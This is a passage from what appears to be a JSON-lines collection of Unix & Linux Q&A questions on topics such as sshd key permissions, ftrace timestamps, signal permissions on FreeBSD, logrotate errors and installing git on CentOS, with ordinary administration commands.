`/pkg` owner is a different user but all users have group access to `/pkg`. But it seems SSHD will restrict access to `authorized_keys` (e.g. `/pkg/home/usera/.sshd/authorized_keys`) because the user is not owner of the full path. Is there any option for `sshd_config` to change this restriction?"} {"_id": "44331", "title": "How to load HID kernel module from the kernel command line?", "text": "While upgrading a server from kernel 3.2.9 to kernel 3.5 I had a problem with the network (`ifconfig eth0 up` won't work) so I updated the system to get a newer userspace, but in the process something seemed to go wrong with modprobe, so the HID kernel module didn't come up, although I know it is compiled and ready to be used. Since I can't log in through SSH and only USB keyboards can be used I got stuck, but I suspect I should be able to load the HID kernel module from the kernel command line, but I don't know the right arguments for that. **EDIT:** Since I use LILO as bootloader, I know it is possible to supply kernel command-line arguments on the `boot:` prompt following the kernel image label. If my image label is `Linux-3.5`, what do I need to include after it so USB HID driver is loaded? Should it just read `boot: Linux-3.5 usbhid`? (The module name was hinted by @Renan on his answer, but it was removed before I could finish commenting it)"} {"_id": "44337", "title": "Oneliner to detect camelcase variables", "text": "I would like to insert some style tests as git hooks in order to stick with precise style rules. How can I come up with a oneliner that detects and prints arbitrary camelcase variables like the following: camelCasehere or camelCaseHere or camel_caseHere"} {"_id": "44334", "title": "Is there any use for RLIMIT_NICE?", "text": "I am using `prlimit` in Ubuntu to do some resource restrictions in my sandbox which has been very helpful. However, I am not quite sure what to do with `RLIMIT_NICE`. The docs say: > RLIMIT_NICE (since Linux 2.6.12, but see BUGS below) Specifies a ceiling to > which the process's nice value can be raised using setpriority(2) or > nice(2). However, according to getpriority(2), a process can raise it's nice value only if owned by a superuser in the first place. But if this is the case, the `RLIMIT_NICE` value is not going to add too any functionality because a privileged user can arbitrarily lower or higher `RLIMIT` values anyway. So I don't understand how to use or interpret `RLIMIT_NICE`. For non- privileged users the entire thing seems useless because they cannot raise priority in the first place, and it makes no sense to set it below the current priority. However for superusers it doesn't really add anything either because the `nice`, and `RLIMIT_NICE` soft- and hard limits can arbitrarily be raised. So what is the idea behind `RLIMIT_NICE` ?"} {"_id": "44339", "title": "Weird Booting Problem with Debian Squeeze", "text": "I have a Windows XP/Debian Squeeze (XFCE desktop) dual-boot set up on a Dell Latitude laptop. The Windows XP portion boots fine. However, sometimes the Debian portion does not boot. If it doesn't boot, and I do a hard reboot, it will boot the second time. However, sometimes Debian will boot the first time. How can I diagnose this problem? All help appreciated! [EDIT] I should mention that the improper boot manifests itself as a failure to reach the login screen. I see the standard Debian wallpaper with the stars and so on, but it doesn't display the login box."} {"_id": "24238", "title": "Open up many files in panes at once", "text": "When I need to edit multiple files, it's really a pain to have to open them one by one. Is there a way to open multiple files in VIM from the commandline?"} {"_id": "28566", "title": "'convert' taking a long time to create a PNG thumbnail", "text": "I made a png from a pdf using ghostscript. It was converted very fast (not more than 1 sec), and has good quality. $ identify 1.png 1.png PNG 3508x2480 3508x2480+0+0 8-bit PseudoClass 2c 51KB 0.000u 0:00.000 But for some reason I have to have a thumbnail for this kind of image. And I don't know how to make it with `gs`, so I did the thumbnail with the `convert` tool from ImageMagick like this: $ convert -thumbnail 906 1.png t.png Resize takes about 2-4 second. Why? Why is creating the thumbnail taking taking longer than the pdf to big image conversion process? Is there any way how to fix this issue?"} {"_id": "151638", "title": "How to disable systemd's \"Time has been changed\" message spam in /var/log/syslog on Debian jessie?", "text": "Due to combined use of Debian `jessie`, that uses `systemd` by default, and sdwdate (that uses Slow Clock Adjuster ( gh )), my system clock is frequently changed. As a result `/var/log/syslog` gets endlessly spammed by. [...] Aug 22 13:06:15 host systemd[1]: Time has been changed Aug 22 13:06:16 host systemd[1]: Time has been changed Aug 22 13:06:16 host systemd[852]: Time has been changed Aug 22 13:06:17 host systemd[852]: Time has been changed Aug 22 13:06:17 host systemd[1]: Time has been changed Aug 22 13:06:18 host systemd[1]: Time has been changed [...] Running `sudo service rsyslog stop` stops the spam, but this is not a real solution. This was not an issue on Debian `wheezy` that used `sysvinit`. How can `systemd` be configured to not send the `Time has been changed` message to `/var/log/syslog`?"} {"_id": "28553", "title": "How to read the local DNS cache contents?", "text": "I know that on Windows I can issue `ipconfig /displaydns` and I see the local DNS's cache content. How can I list the DNS's cache content in Linux? I would like to get as much as cross-distro solution as possible."} {"_id": "151635", "title": "Comparison of columns in two files and appending the first file", "text": "I need a help on this :- I have a file : emp.txt 21356 suresh 12/12/2012 23511 ramesh 11/06/2011 31456 biswajit 09/08/2013 53134 archan 06/02/2009 first field:- employee id, 2nd field is name and third field is date of joining HR gives a list of employees who have been moved out of the company. Let's suppose i get a text file from hr:- ramesh archan I need to compare it with second column of the original employee list and which ever matches , employee list will be updated 21356 suresh 12/12/2012 23511 ramesh_terminated 11/06/2011 31456 biswajit 09/08/2013 53134 archan_terminated 06/02/2009"} {"_id": "28568", "title": "Where can I find a reference to the format of the comment field (field 5) of the /etc/passwd file?", "text": "In the `/etc/passwd` file on my system, the \"comment\" field, field 5, is inconsistent in its contents. I thought that I could extract it to get the full name of the user. fullname=`awk -F: '$1 == name {print $5}' name=$LOGNAME /etc/passwd` However this returns with `$fullname` containing a name with 0, 3, or 4 commas following. Exploring the man page (`man 5 passwd`) provides no details of this field other than describing it as \"user name or comment field.\" Perhaps there is additional information that is stored along with the user name?"} {"_id": "58459", "title": "extundelete does not finish its work", "text": "I need to restore a file on sda7 so I remounted ro und startet extundelete manuel@P5KC:~/recovery/RECOVERED_FILES$ sudo extundelete --restore-all /dev/sda7 WARNING: Extended attributes are not restored. Loading filesystem metadata ... 688 groups loaded. Loading journal descriptors ... 18110 descriptors loaded. Writing output to directory RECOVERED_FILES/ Searching for recoverable inodes in directory / ... 1554 recoverable inodes found. Looking through the directory structure for deleted files ... Unable to restore inode 2228446 (lost+found/latex): No data found. But the directory `RECOVERED_FILES` is empty. Am I doing something wrong or is my data lost? Filesystem is ext4. At the end, logged in as su, I am even getting a segmentation fault. * * * Debian Wheezy 3.2.0-4-amd64"} {"_id": "151633", "title": "How do I find my Raspberry Pi on a big LAN?", "text": "I'm a college kid on a WPA2 Enterprise with a Raspberry Pi on ethernet. How do I find this device on the network? I could try running arp -a logging results to a file, connecting my Pi, and then diffing by rerunning arp -a but is there a better way to do this?"} {"_id": "79001", "title": "How to burn a Linux distro ISO image from Linux Live?", "text": "Mint screwed my grub (no more dual boot with Win7) because of a faulty LIVE USB flash stick. (I can launch Mint but I can't install) I need to burn a new ISO to my USB flash stick or USB drive so that I can properly install Linux and restore the grub. I tried to use Xfburn and USB Image Writer which are default in Mint X but both applications don't detect the USB stick or the USB drive."} {"_id": "62242", "title": "xmms2 cover art", "text": "Does xmms2 have bindings either a Python API or a command line tool to find the album cover art of an MP3? _Related toxmms2 notification with album art under Awesome._"} {"_id": "62247", "title": "How do I know what service is running on a particular port in linux?", "text": "I am trying to run weblogic server on my linux machine and I am getting the following error : ERROR: transport error 202: bind failed: Address already in use ERROR: JDWP Transport dt_socket failed to initialize, TRANSPORT_INIT(510) JDWP exit error AGENT_ERROR_TRANSPORT_INIT(197): No transports initialized [../../../src/share/back/debugInit.c:690] FATAL ERROR in native method: JDWP No transports initialized, jvmtiError=AGENT_ERROR_TRANSPORT_INIT(197) I think that the error means that the debugger port which by default is 8453 is already held by some other service . How can I find out what service is runnning in a partcular port number ? P.S: I used `netstat` command but that shows all the services occupying all ports ..here I am interested in a particular port only."} {"_id": "62246", "title": "Is it possible to know who visited my home directory?", "text": "Suppose there are many users in a Linux cluster, each of them has his own HOME directory under /home/xxx, with xxx being his user name (or account). If the initial system configuration allows these users to visit any of these home directories besides their own, is there any way for a user to know who visited his home folder? Such external access from the other users may not result in any change to the local files, for example, viewing or copying a file. Is there any log file or tool that can actually monitor these activities?"} {"_id": "79007", "title": "How to increase ftrace precision to microseconds?", "text": "I'm trying to generate FTrace files inside an Android environment, using: root@adroid:# echo 1 > /sys/kernel/debug/tracing/events/sched/sched_switch/enable root@adroid:# echo 1 > /sys/kernel/debug/tracing/tracing_on root@adroid:# cat /sys/kernel/debug/tracing/trace > mytracefile.txt root@adroid:# echo 0 > /sys/kernel/debug/tracing/tracing_on root@adroid:# echo 0 > /sys/kernel/debug/tracing/events/sched/sched_switch/enable The problem is that in `mytracefile.txt` the precision of time stamp is in milliseconds: -0 [000] d.h7 14186.690000: sched_wakeup: comm=tfm_b6bcf800 pid=1714 prio=35 success=1 target_cpu=000 -0 [000] d..3 14186.690000: sched_switch: prev_comm=swapper/0 prev_pid=0 prev_prio=120 prev_state=R ==> next_comm=tfm_b6bcf800 next_pid=1714 next_prio=35 tfm_b6bcf800-1714 [000] d..3 14186.690000: sched_switch: prev_comm=tfm_b6bcf800 prev_pid=1714 prev_prio=35 prev_state=D|W ==> next_comm=swapper/0 next_pid=0 next_prio=120 -0 [001] d.h3 14186.690000: sched_wakeup: comm=Player Aud Mixe pid=146 prio=35 success=1 target_cpu=001 -0 [001] d..3 14186.690000: sched_switch: prev_comm=swapper/1 prev_pid=0 prev_prio=120 prev_state=R ==> next_comm=Player Aud Mixe next_pid=146 next_prio=35 Player Aud Mixe-146 [001] d..3 14186.690000: sched_switch: prev_comm=Player Aud Mixe prev_pid=146 prev_prio=35 prev_state=D ==> next_comm=swapper/1 next_pid=0 next_prio=120 -0 [001] d.h3 14186.690000: sched_wakeup: comm=Player Aud Mixe pid=146 prio=35 success=1 target_cpu=001 -0 [001] d..3 14186.690000: sched_switch: prev_comm=swapper/1 prev_pid=0 prev_prio=120 prev_state=R ==> next_comm=Player Aud Mixe next_pid=146 next_prio=35 Player Aud Mixe-146 [001] d..3 14186.690000: sched_switch: prev_comm=Player Aud Mixe prev_pid=146 prev_prio=35 prev_state=S ==> next_comm=swapper/1 next_pid=0 next_prio=120 -0 [001] d.h3 14186.700000: sched_wakeup: comm=Player Aud Mixe pid=146 prio=35 success=1 target_cpu=001 -0 [001] d..3 14186.700000: sched_switch: prev_comm=swapper/1 prev_pid=0 prev_prio=120 prev_state=R ==> next_comm=Player Aud Mixe next_pid=146 next_prio=35 Normally, it should be in the order of microseconds, like 14186.691234 instead of just 14186.690000. I have already tested all the other `trace_clock` options that I have (local, global and counter) but the results are always the same. Changing that parameter doesn't change anything in the output file. I followed carefully FTrace documentation but I don't know what else to change in configuration. Searching over the internet I had only been able to find this bug report but it was not solved: http://lists.linaro.org/pipermail/linaro- dev/2011-February/002720.html Any advice? Are there additional modules in the kernel that I have to install? * Android Version: 4.2.2 * Kernel Linux Version: 3.4.7 `dmesg` output is also showing milliseconds precision: <4>[ 38.130000] oom_adj 0 => oom_score_adj 0 <4>[ 38.130000] oom_adj 1 => oom_score_adj 58 <4>[ 38.140000] oom_adj 2 => oom_score_adj 117 <4>[ 38.140000] oom_adj 4 => oom_score_adj 235 <4>[ 38.150000] oom_adj 9 => oom_score_adj 529 <4>[ 38.150000] oom_adj 15 => oom_score_adj 1000 ## Update: We are building a graphic parser for android ftrace files (including **atrace** traces). That's why it is very important to have as much precision as possible. Using the same device and other software tools we can successfully have microseconds precision. So, now we're planning to edit **ftrace.c** source code to modify the way timestamp is generated to this one: static inline uint64_t my_custom_jiffies(void) { struct timeval tv; gettimeofday(&tv, NULL); return tv.tv_sec*1000000 + tv.tv_usec; } I personally think that is not a very good solution/architecture/implementation because this should be possible without modifying the source code... but it's the only idea that we have at this moment. What do you think ?"} {"_id": "4495", "title": "Object-oriented shell for *nix", "text": "Preface: I love bash and have no intention of starting any sort of argument or holy-war, and hopefully this is not an extremely naive question. This question is somewhat related to this post on superuser, but I don't think the OP really knew what he was asking for. I use bash on FreeBSD, linux, OS X, and cygwin on Windows. I've also had extensive experience recently with PowerShell on Windows. Is there a shell for *nix, already available or in the works, that is compatible with bash but adds a layer of object-oriented scripting into the mix? The only thing I know of that comes close is the python console, but as far as I can tell it doesn't provide access to the standard shell environment. For example, I can't just `cd ~` and `ls`, then `chmod +x file` inside the python console. I would have to use python to perform those tasks rather than the standard unix binaries, or call the binaries using python code. Does such a shell exist?"} {"_id": "79008", "title": "Git pull error libcurl.so.3 not found", "text": "I have a php script to `git pull` from my github repository set up in my webservice hook urls like so: &1'); ?> When I open this script on the browser, I get this error: git-remote-https: error while loading shared libraries: libcurl.so.3: cannot open shared object file: No such file or directory I am on a godaddy server running CentOS release 5.9 and `uname -mrs` yields: Linux 2.6.18-348.3.1.el5PAE i686 When I tried doing : yum install curl I get an error that the command `yum` cannot be found. I seriously have no idea what's going on here because when I ssh into my server and do `git pull` from the terminal or run the script like `php myscript.php`, it works fine and all the changes are fetched. How are the dependencies changed when I run it in the browser? Any help is deeply appreciated."} {"_id": "34208", "title": "Is there a way to view a list of timestamp history of a document/file via terminal/command line?", "text": "This seems like it's simple but for some reason, it's not: Problem: I've been writing a paper- not even a script...just an economics paper- over the last 3 months. I'm trying to determine how much time I've spent writing it, how many times I've saved the file and how much the document grew each change. Is there a command/script to view this info? I'm not looking for exact changes, I'm just looking for the general file information. The only thing I can find is the most recent time the file was modified, but I can't find the information for the modifications before the most recent. Example of expected output: $ (elusive and mysterious command that is similar to stat -x) File: \"file\" Current Size: 1000 FileType: Regular File Mode: (0600/-rw-------) Uid: ( 501/user) Gid: ( 20/ group) Device: 14,2 Inode: number Links: 1 Access: Wed Mar 14 19:50:00 2012 Modified: Fri Dec 23 01:22:40 2011 --Size: 1000 Modified: Wed Dec 21 11:42:21 2011 --Size: 920 Modified: Wed Dec 21 11:01:12 2011 --Size: 703 Modified: Wed Dec 21 10:11:01 2011 --Size: 100 Modified: Tue Dec 20 11:42:38 2011 --Size: 0 Change: Mon Feb 13 20:44:36 2012"} {"_id": "59583", "title": "`kill -s TERM` works, `kill -s ABRT` gets \"Operation not permitted\"", "text": "There is a process that I own whose documentation claims I can send `SIGABRT` to in order to get some debugging information. However, when I try to send `SIGABRT`, I get back \"Operation not permitted\". I have also tried sending the same signals to other processes I own to make sure that there isn't some underlying block preventing me from sending `SIGABRT` altogether, but they respond in the appropriate manner. It's just this one program, but it's every instance of that program. A system call trace of the process shows that it never receives the signal. I have tried running `/bin/kill` explicitly in order to rule out any weirdness in my shell's builtin `kill`, and, other than some minor output differences, there was no change in behavior. root can send `SIGABRT` to the process and it works as I expect it to. I've been in this game for a while, but I've never seen an instance where a user is not able to send a signal to a process that he owns, nor have I seen an instance where a user can send one signal but not another. The OS is FreeBSD 9.0 and the process is a ruby process that is part of a Phusion Passenger Ruby-on-Rails application running under Apache. I'm currently at a total loss. Does anyone have any idea what is going on? _Update:_ Turns out that the `security.bsd.conservative_signals` sysctl was set to 1, and that prevents many signals from being delivered to setuid processes, according to the man page. Setting it to 0 solves the problem. While there was a setuid call somewhere up the process chain \u2014 the process is a child of an Apache httpd, and Apache changes its uid to relinquish root permissions \u2014 the process itself is not setuid, and its EUID, RUID, and SVUID are all the same as the user sending the signal. The only inspection of the process that I can find that would indicate that any setuid happened is the `P_SUGID` flag in `ps`'s \"flags\" field. (\"Had set id privileges since last exec\") It seems like that shouldn't be the case, but it's handled in an Apache module and I don't know its exact methods. For the record, it's a ruby process that's functioning as part of a Ruby on Rails application being handled by mod_passenger, AKA mod_rails."} {"_id": "59580", "title": "\"ps\" output and comments", "text": "I'm pretty sure you cant do this but maybe someone has some weird hack... Is there a way to get comments (#blahblah) to show up in ps output? My problem is that i have a script, lets call it \"myscript.sh\" that is not very descriptive. I'd love to be able to do something like: ./myscript.sh #Running on 10.10.45.10 and have ps output the comment line, instead of just saying \"myscript.sh\" The only way i can think of hacking around it would be to place the comment in a variable, grep out \"myscript.sh\" PID and then read that var from /proc/PID/environ. But thats very ugly, and requires root"} {"_id": "115334", "title": "Mail command to send attachements", "text": "I tried the below command uuencode data.txt | mailx \u2013s \u201cTest Mail\u201d \u201cmrp@xyz.com\u201d But I get the below error ksh: uuencode: not found. Null Message body; hope that' ok which clearly tell that uuencode utility is not found. I there any other way to send attachments with mail through command line. At the same time I don't have admin access for the same to install the utility ( **I use AIX 5. version Server** )"} {"_id": "143778", "title": "logrotate error \"error: error opening /home/web/logs/dev.log.10: No such file or directory\"", "text": "In a run, sometimes I get such type of errors for any of the log file. Below is my configuration: /home/web/logs/*.log.* { missingok copytruncate olddir rotate rotate 5000 compress maxage 1 delaycompress notifempty } 1) I want to know when does this happens? 2) Is there any impact on my log rotation? 3) How can I avoid it?"} {"_id": "59585", "title": "File system compatible with all OSes?", "text": "I use Linux and Mac OS X on a regular basis, and sometimes I have to use Windows. I need to use a flash drive on all three, and I need a filesystem that will work well on all of them. None of the ext's work on Mac or Windows, HFS+ doesn't work on Windows (or well on Linux), NTFS is read-only on Mac, and FAT sucks on all OSes. Is there a file system that would work reasonably well on all operating systems? I'd like it to work without drivers or additional installations, so it can be used on any computer."} {"_id": "115339", "title": "Find and install Mint's default packages into new Ubuntu install", "text": "So I use Mint a lot, but wish to switch to Ubuntu due to trivial updating Ubuntu offers. Problem with Ubuntu is that a lot of neat packages (Such as right click commands for open in terminal etc) don't come pre-installed. I wish to get a list of packages to install on Ubuntu that are pre-installed on Mint, even just the GUI based ones would be great! Note: I am **not** trying to get Ubuntu looking like mint, just the GUI packages that make life easy. I am also **not** asking opinions on what are the best GUI packages out there, just what Mint has Ubuntu doesn't."} {"_id": "143777", "title": "Apache suexec won't work with strace", "text": "I have an Apache instance with `mod_suexec` enabled. I'm trying to debug a problem and am starting Apache with `strace` to try and see what's happening. However, when I start Apache like this: # strace -f -o /tmp/apache.strace /etc/init.d/apache2 start I get this in the error log: suexec failure: could not open log file fopen: Permission denied However, when I start Apache normally, everything works correctly. I presume that some mechanism in use by `mod_suexec` is being upset by the use of `strace`, but I'm unclear as to what exactly is happening. Is there any way of using `strace` and having `mod_suexec` work correctly?"} {"_id": "34202", "title": "Can a script be executable but not readable?", "text": "Is it possible to execute a script if there is no permission to read it? In root mode, I made a script and I want the other user to execute this script but not read it. I did `chmod` to forbid read and write but allow execute, however in user mode, I saw the message that says: permission denied."} {"_id": "34203", "title": "Getting Linux computer integrated with Windows domain", "text": "I've tried to figure it out for several months, with no success. I have a Windows 2008R2 domain, and one Linux server (first it was Fedora 15, then 16, and now it's Centos 6.2). I am trying to make it member of the domain to the extent possible. Ideally, I would like to login and get authenticated against domain (say, login 'DOMAIN+john'). If not - at least be able to map directories through Samba with Windows credentials (better, map drives without specifying credentials, and just passing Windows credentials). I followed several articles, most closely this one; but still can't map the drive (as soon as I switch security from USER to ADS, I can't expand the server)... let alone login. I know I am close (eg., I am getting `pam_get_item returned a password` from winbind when I log in) - but pointers to something definitive would be great!"} {"_id": "98367", "title": "Bash capture any error like -e but don't exit, do something else", "text": "I want to set a flag in a shell script (bash) so that if anything returns non- zero, a flag is set (i.e. set a variable like `errors=\"True\"`). So far, I've thought of calling the script with `scriptname.sh 2>Error.log` and then doing something like: if $(wc -l error.log) != 0; then errors=\"True\" There has got to be a much better way. Please enlighten me."} {"_id": "143771", "title": "Compare the values of a column with all the values in another column", "text": "I have 2 input files. Each line of `File1` should be compared to each and every line of `File2`. Logic is: 1. If `Column1` of `File1` does not match `Column1` (all the values under it) of `File2`, then print the whole line of `File1` in the output file. Similarly, compare each value of `Column1` to each and every value under `Column1` of `File2`. 2. If `Column1` of the two files matches and if the value of `Column2` of `File1` is greater than `N+10` or less than `N-10`, where `N` is the value of `Column2` of `File2`, only then print the whole line of `File1` and compare all the lines in `File2` like this. **`File1`:** Contig1 23 Contig1 42 Contig2 68 Contig3 89 Contig3 102 Contig7 79 **`File2`:** Contig1 40 Contig1 49 Contig3 90 Contig2 90 Contig20 200 Contig1 24 **Expected Output:** Contig2 68 Contig3 102 Contig7 79 Any solution, even those without `awk` or `sed`, will do it. I found a similar problem, but I'm not exactly sure what I have to do: Here is the Code: `NR==FNR { lines[NR,\"col1\"] = $1 lines[NR,\"col2\"] = $2 lines[NR,\"line\"] = $0 next } (lines[FNR,\"col1\"] != $1) { print lines[FNR,\"line\"] next } (lines[FNR,\"col2\"]+10 < $2 || lines[FNR,\"col2\"]-10 > $2) { print lines[FNR,\"line\"] }' file1 file2`"} {"_id": "35159", "title": "Looking for resources: like C doc for reading files and their attributes? (On Linux)", "text": "Looking for resources: like C doc (something like JavaDoc for C on Linux would be cool) for reading files and their attributes? I'm working on recursively reading in files. I can get a list of files in a directory, with some simple code that uses `readdir( DIR* )`, but I'm looking for some code that I can, in general, browse through. I'm kind of new to Linux -- so maybe man pages are the way to go here, but since man pages typically aren't linked together (like hyperlinks), I'm looking for resources that describe relationships between C structs and function for file IO. I'm wondering if I need to go as far as understanding `inode` stuff?"} {"_id": "35152", "title": "How to re-adjust content while resizing gnome-terminal?", "text": "Some times when I am compiling a script the parameters are so long that they cover many lines in the terminal. When I resize the terminal in order to read more clearly, the content does not automatically re-adjust to the size of the terminal. Is there a way of telling the terminal to re-format its output depending on the window size of the terminal emulator? I am using gnome-terminal"} {"_id": "154387", "title": "Meaning of @0 in a shell script", "text": "I was looking at the script `/etc/init.d/sudo` in my Ubuntu 14.04 Linux system. While reading the script, I found this statement : find /var/lib/sudo -exec touch -d @0 '{}' \\; What is the meaning of `@0` here? What does the above statement do?"} {"_id": "28693", "title": "iSCSI and runaway log file", "text": "I have a OpenVZ VPS running CentOS 5.7 that I've been using to get some sysadmin experience. I found a log file called brcm-iscsi.log in /var/log and it's getting big (140 MB). INFO [Sun Dec 18 20:15:42 2011]Initialize logger using log file: /var/log/brcm-iscsi.log INFO [Sun Dec 18 20:15:42 2011]Started BRCM iSCSI stack: Ver 0.6.2.13 INFO [Sun Dec 18 20:15:42 2011]Build date: Fri Jul 22 01:19:02 EDT 2011 INFO [Sun Dec 18 20:15:42 2011]Running on sysname: 'Linux', release: '2.6.18-274.7.1.el5.028stab095.1', version '#1 SMP Mon Oct 24 20:49:24 MSD 2011' machine: 'i686' INFO [Sun Dec 18 20:15:42 2011]Initialize logger using log file: /var/log/brcm-iscsi.log INFO [Sun Dec 18 20:15:42 2011]Started BRCM iSCSI stack: Ver 0.6.2.13 INFO [Sun Dec 18 20:15:42 2011]Build date: Fri Jul 22 01:19:02 EDT 2011 INFO [Sun Dec 18 20:15:42 2011]Running on sysname: 'Linux', release: '2.6.18-274.7.1.el5.028stab095.1', version '#1 SMP Mon Oct 24 20:49:24 MSD 2011' machine: 'i686' WARN [Sun Dec 18 20:15:42 2011]nic_utils Error when scanning path: /sys/class/iscsi_host/[No such file or directory] INFO [Sun Dec 18 20:15:42 2011]signal handling thread ready ERR [Sun Dec 18 20:15:42 2011]NIC_NL waiting binding to NETLINK_ISCSI socket ERR [Sun Dec 18 20:15:43 2011]NIC_NL waiting binding to NETLINK_ISCSI socket ERR [Sun Dec 18 20:15:44 2011]NIC_NL waiting binding to NETLINK_ISCSI socket And every second since then I've had that line. I don't quite understand what is going on, so I'm hoping someone could tell me how to fix the underlying problem rather than just deleting the log file. I did Google this and found http://drup.org/brcm-iscsilog-filling-hard-drive which seems to just disable iSCSI and ignore any more errors. Is there a better/safer/preferable way of stopping this error logging? I don't know much about iSCSI - I get that it's a SAN protocol, but that's about it. I've certainly never setup any volumes outside of the disk space I got with my VPS. Could my VPS be relying on this in some way? I wouldn't want to trash it, although I'm getting quite practiced at reloading the VPS... I also wouldn't want to screw up anyone else's nodes. Thanks in advance for helping the n00b."} {"_id": "28690", "title": "Servers running from chrooted Ubuntu on HP TouchPad?", "text": "The problem: servers appear to be broken inside my Ubuntu chroot. No matter what kind of server I try to run, they all seem unresponsive (VLC server won't respond to client, mkRemote doesn't move the cursor, Apache gives an error about binding to port 80 and won't start, etc.). If I'm not mistaken, what should normally happen inside a chroot is that all ports are shared between the chroot and the host, so if another machine tries to hit the host at port 80, it will still see the chrooted Web server. However, here, that isn't what's happening. When I run netstat from the chroot, every single process lists a foreign address of 0.0.0.0:*, meaning that the only machine which can act as a client is the local host. This is clearly incorrect and abnormal behaviour, as any process on my primary machine meant to be publicly visible lists a foreign address of :::* (which I assume means that any client can see it from any port). _Edit: Disregard that; apparently the foreign address only distinguishes between whether it's listening for IPv4 or IPv6 connections, so it doesn't seem relevant here._ So far, Googling has returned nothing of value, and I'm basically stumped. Any ideas? Could it just be some setting which one of the chroot patch devs enabled by default, or does it seem like a more complicated issue? Thanks. More context: http://rootzwiki.com/topic/14682-webos-servers-inside-chrooted- ubuntu/"} {"_id": "28691", "title": "Would it be wise to put a Linux OS on a Mac?", "text": "Has anyone tried this either using bootcamp, a VM, or replacing the OS X? Google search yields old info."} {"_id": "72001", "title": "How to update the version of gcc-c++ on Fedora?", "text": "I have version 4.4.4 of `gcc` installed and would like to update to either a specific version or to the latest version. Here is what I have tried: sudo yum install gcc-c++ this tells me that `Package gcc-c++-4.4.4-10.fc12.i686 already installed and latest version` (not true, there is at least a version 4.8 available). Next I tried a specific version: sudo yum install gcc-c++-4.8.1 with the result of `No Package gcc-c++-4.8.1 available.`. At last I tried to update the package with sudo yum update gcc-c++ with the result `No Packages marked for Update`. So how the heck do I update the version of `gcc` and/or `gcc-c++` to be able to compile projects with C++11?"} {"_id": "148892", "title": "Using sed command convert only first character in specific line with uppercase", "text": "How can I convert the first character of each word in the line after `gr- description:` to uppercase? For example : $ cat /tmp/test1 groMail: test@xyz.com gr-description: abc-location-999 group-emailid: abclocation999@xyz.com members: abc@xyz.com abcd@xyz.com abc.abc@xyz.com Output should be groMail: test@xyz.com gr-description: Abc-Location-999 group-emailid: abclocation999@xyz.com members: abc@xyz.com abcd@xyz.com abc.abc@xyz.com I tried the command below command but I am unable to merge sed -n '/gr-description:/{n;p;}' grp1 | sed 's/\\<./\\u&/g'"} {"_id": "148890", "title": "How to disable SELinux without restart?", "text": "I need to disable SELinux but cannot restart the machine i followed this link where i get bellow command setenforce 0 But agter running this command i checked for that sestatus SELinux status: enabled SELinuxfs mount: /selinux Current mode: permissive Mode from config file: disabled Policy version: 24 Policy from config file: targeted Is there any other option?"} {"_id": "150076", "title": "Should I update OpenSSL?", "text": "Since the problems with version 0.9.8 of OpenSSL, I have some queries. I am told that I do not have a vulnerable version, but I want to know what your recommendations are. Should I update to a more recent version? Should I apply a patch? And why? Would an update to OpenSSL affect Apache and PHP? My current version of OpenSSL is 0.9.8e-fips-rhel5."} {"_id": "76727", "title": "`mv` has failed because of insufficient disk space, what now?", "text": "I have tried to move a folder `A` from partition a to partition b as folder `B` with `mv`. Now the target file system was not big enough for all the data (I know I should have checked this first). Anyway, I continued by using `rsync -av` (what I should have done in the first place), as in What does mv do in case of errors? Then I used `diff -r A B` to check for changes between the folders and diff indeed observed differences in the target directory. Now I wonder whether I should just delete the target folder and start the rsync process at once or whether there is a way to get `rsync` copy everything."} {"_id": "119398", "title": "How can I use these partitions to install fedora 20", "text": "I want to install Fedora 20 from a full DVD (not live) on a new computer, with as much software as I can; so, during the set up for the installation, I tick all the repositories offered and then find that I need more space than is available. The machine was partitioned by the vendor, and Windows XP3 installed, so I will use a dual boot. I think the partitions he left me with are biased by his disdain for, or ignorance of, Linux. I include a picture of the partitions from Windows on this machine; the C: partition is only 5% full, so it should cover the little I will use it for. So my question is: please, how do I make the rest available for Linux? I don't fully understand the jargon around partitions, in Linux or Windows, so I am extremely nervous about getting it wrong and losing Windows entirely. Needless to say I have aborted all my attempts at installing F20 so far. It may be that I could use the repositories on the DVD after installation, but would I not then come up against the same space problem? (Following on from @Anthon's comment) If, in Windows, I delete partitions E: and F: ( I have no data on them), will that affect my use of the Linux and Windows in the remaining partitions, until I install a new Fedora in place of the existing one, and then will the deleted partitions be automatically be included into Linux? How will I recognise them, if necessary, in the list during installation? Please forgive my fussy ignorance, I always get to a point in an attempt at installation, where there is something that I do not understand, even with the help of the installation instructions viewed on my laptop, and have to abort and start again, so I want to be fully prepared for these dangerous actions. ![Windows partions](http://i.stack.imgur.com/pIa2q.jpg)"} {"_id": "106928", "title": "SNAT / Masquerade with shorewall", "text": "I've got a little question about Masquerading and SNAT in combination with shorwall and KVM. The Operating System is Scientific Linux 6.4. Setup is like this at my root server: * Virtual Machine IP 10.16.16.30 * Standard Gateway of VM: 10.16.16.254 (Firewall int_net) * \"wan\" interface ip of the firewall: 192.168.122.254 (virbr0_net) * Default Route for the Gateway for Internet: 192.168.122.1 (virbr0) * eth0 has three public ip-adresses at eth0:1 eth0:2 eth0:3 and is directly connected to the internet. The outgoing traffic of the VM 10.16.16.30 will be NATed so the packets will come in at virbr0 with the source-ip 192.168.122.254 and will be NATed to the internet with the src-ip of eth0. I would like to have the opportunity to let outgoiging packets of 192.168.122.254 ( firewall-wan-if_ip) to get the external IP of eth0:1 for example. How could I do that best way? Any advice?"} {"_id": "116109", "title": "Slight change to command to compile C++ program causes error", "text": "This morning , I was trying to compile a C++ program using the following command on the command line g++ -o foo.cpp foo I spend about an hour trying t to resolve why I kept getting undefined reference & multiple definition error till I realised that my command to compile was wrong and **it should be** g++ foo.cpp -o foo I am just wondering what is the difference in process between `g++ -o foo.cpp foo` and `g++ foo.cpp -o foo` . Why does placing the `-o` infront cause compilation error"} {"_id": "91668", "title": "How to install git for CentOS?", "text": "I tried several suggestions from this answer but none of them worked. [root@308321 sugar-dev]# yum install git Loaded plugins: fastestmirror Loading mirror speeds from cached hostfile * base: mirror.ubiquityservers.com * epel: www.gtlib.gatech.edu * extras: mirrors.usinternet.com * updates: mirrors.serveraxis.net Setting up Install Process Resolving Dependencies --> Running transaction check ---> Package git.x86_64 0:1.8.2.1-1.el5 will be installed --> Processing Dependency: perl-Git = 1.8.2.1-1.el5 for package: git-1.8.2.1-1.el5.x86_64 --> Processing Dependency: perl(Term::ReadKey) for package: git-1.8.2.1-1.el5.x86_64 --> Processing Dependency: perl(Git) for package: git-1.8.2.1-1.el5.x86_64 --> Processing Dependency: perl(Error) for package: git-1.8.2.1-1.el5.x86_64 --> Processing Dependency: libssl.so.6()(64bit) for package: git-1.8.2.1-1.el5.x86_64 --> Processing Dependency: 